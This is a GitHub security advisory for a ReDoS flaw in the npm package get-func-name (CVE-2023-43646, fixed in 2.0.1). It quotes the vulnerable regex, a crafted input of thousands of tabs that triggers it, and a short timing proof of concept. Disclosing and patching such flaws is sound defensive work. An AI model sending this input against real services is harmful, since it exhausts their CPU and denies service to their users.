GitHub Advisoryadvisory · npm
GHSA-4q6p-r6v2-jvc5 Chaijs/get-func-name vulnerable to ReDoS
HIGH
Official page ↗
- Aliases
- CVE-2023-43646
- Ecosystem
- npm
- Packages
- get-func-name
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
- Weaknesses
- CWE-1333, CWE-400
- Reviewed
- 2023-09-27
Affected packages
• npm get-func-name: < 2.0.1 → fixed in 2.0.1
Description
The current regex implementation for parsing values in the module is susceptible to excessive backtracking, leading to potential DoS attacks. The regex implementation in question is as follows:
```js
const functionNameMatch = /\s*function(?:\s|\s*\/\*[^(?:*/)]+\*\/\s*)*([^\s(/]+)/;
```
This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:
```js
'\t'.repeat(54773) + '\t/function/i'
```
Here is a simple PoC code to demonstrate the issue:
```js
const protocolre = /\sfunction(?:\s|\s/*[^(?:*\/)]+*/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");
```
Related
Alias · CVE (1)
- CVE-2023-43646 get-func-name is a module to retrieve a function's name securely and consistently both in NodeJS and the browser. vulnerability
References
- https://github.com/chaijs/get-func-name/security/advisories/GHSA-4q6p-r6v2-jvc5 web
- https://nvd.nist.gov/vuln/detail/CVE-2023-43646 advisory
- https://github.com/chaijs/get-func-name/commit/f934b228b5e2cb94d6c8576d3aac05493f667c69 web
- https://github.com/chaijs/get-func-name package
- https://github.com/chaijs/get-func-name/blob/78ad756441a83f3dc203e50f76c113ae3ac017dc/index.js#L15 web